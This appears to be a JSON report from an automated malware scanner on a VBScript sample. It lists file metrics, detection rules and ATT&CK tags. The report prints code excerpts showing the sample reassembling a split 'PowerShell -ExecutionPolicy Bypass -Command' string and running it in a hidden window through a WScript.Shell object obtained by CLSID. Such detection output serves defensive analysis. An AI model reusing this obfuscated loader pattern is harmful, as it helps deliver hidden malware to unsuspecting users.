{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2,
        "threshold": 1.0
      }
    ],
    "prob": 1.0,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.9783623,
        "class": 0
      },
      {
        "m": "az/vbs",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 1.0,
    "analyzed_at": "2026-05-31T09:15:19Z"
  },
  "path": "e5af54861237e2e0832edb88ed99d1b09f2cf8ad88bf8464ff68b62e95eba27a.vbs",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O₂(AsC)",
        "x": 71,
        "ff": {
          "m": {
            "file": {
              "size": 123526.0,
              "entropy": 3.32,
              "size_bytes": 123526.0
            },
            "text": {
              "digit_ratio": 0.99,
              "space_count": 62.0,
              "total_lines": 16.0,
              "char_entropy": 3.32,
              "unique_chars": 78.0,
              "escape_density": 0.0,
              "lines_over_200": 2.0,
              "lines_over_500": 1.0,
              "avg_line_length": 7718.5,
              "lines_over_1000": 1.0,
              "max_line_length": 122779.0,
              "empty_line_ratio": 0.13,
              "last_line_length": 25.0,
              "long_token_count": 17.0,
              "whitespace_ratio": 0.0,
              "most_common_ratio": 0.13,
              "line_length_stddev": 29708.61,
              "octal_escape_count": 6.0,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "most_common_char_codepoint": 55.0
            }
          },
          "s": [
            [
              0,
              "u8",
              "Dim JAVA : JAVA = \"12345678098765412345678908765432123456789.0987654323456787654321234567890876543213456543212345678789890989878"
            ],
            [
              122783,
              "u8",
              "Dim Alpha_1, Alpha_2, Alpha_3, Alpha_4, Alpha_5, Alpha_6, Alpha_7, Alpha_8, Alpha_9, Everything"
            ],
            [
              122880,
              "u8",
              "Alpha_8 = \"POWERSH\""
            ],
            [
              122901,
              "u8",
              "Alpha_1 = \"ELL -NOLO\""
            ],
            [
              122924,
              "u8",
              "Alpha_3 = \"GO -EX\""
            ],
            [
              122944,
              "u8",
              "Alpha_5 = \"ECUTI\""
            ],
            [
              122963,
              "u8",
              "Alpha_2 = \"ONPOLIC\""
            ],
            [
              122984,
              "u8",
              "Alpha_4 = \"Y BYP\""
            ],
            [
              123003,
              "u8",
              "Alpha_6 = \"ASS \""
            ],
            [
              123021,
              "u8",
              "Alpha_9 = \"-COM\""
            ],
            [
              123039,
              "u8",
              "Alpha_7 = \"MAND \""
            ],
            [
              123058,
              "u8",
              "Everything = Alpha_8+Alpha_1+Alpha_3+Alpha_5+Alpha_2+Alpha_4+Alpha_6+Alpha_9+Alpha_7+Replace(JAVA, \"1234567809876541234567890876"
            ],
            [
              123414,
              "u8",
              "Set Youtube = GetObject(\"new\"\u0026\":\"\u0026\"72C24DD5\"\u0026\"-D70A-\"\u0026\"438B-8A42-\"\u0026\"98424B\"\u0026\"88AFB8\")"
            ],
            [
              123501,
              "u8",
              "Youtube.Run Everything, 0"
            ]
          ],
          "v": {
            "file.stem": "e5af54861237e2e0832edb88ed99d1b09f2cf8ad88bf8464ff68b62e95eba27a",
            "file.basename": "e5af54861237e2e0832edb88ed99d1b09f2cf8ad88bf8464ff68b62e95eba27a.vbs"
          },
          "id": "vbs"
        },
        "id": 0,
        "sz": 123526,
        "ts": [
          {
            "a": "T1105",
            "c": 0.9200000166893005,
            "d": "WSH runs hidden window",
            "e": [
              ".Run Everything, 0"
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-run-hidden-zero",
            "l": 4
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 122779.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8799999952316284,
            "d": "VB6 binary file get",
            "e": [
              "Get"
            ],
            "i": "micro-behaviors/fs/file/read::vb6-get-binary-source",
            "l": 2
          },
          {
            "c": 0.8500000238418579,
            "d": "PowerShell or VBScript line bloat",
            "e": [
              "text.avg_line_length = 7718.50"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::script-host-line-bloat",
            "l": 4
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          }
        ],
        "sha": "e5af54861237e2e0832edb88ed99d1b09f2cf8ad88bf8464ff68b62e95eba27a",
        "path": "e5af54861237e2e0832edb88ed99d1b09f2cf8ad88bf8464ff68b62e95eba27a.vbs",
        "type": "vbs"
      }
    ],
    "tv": "52045"
  }
}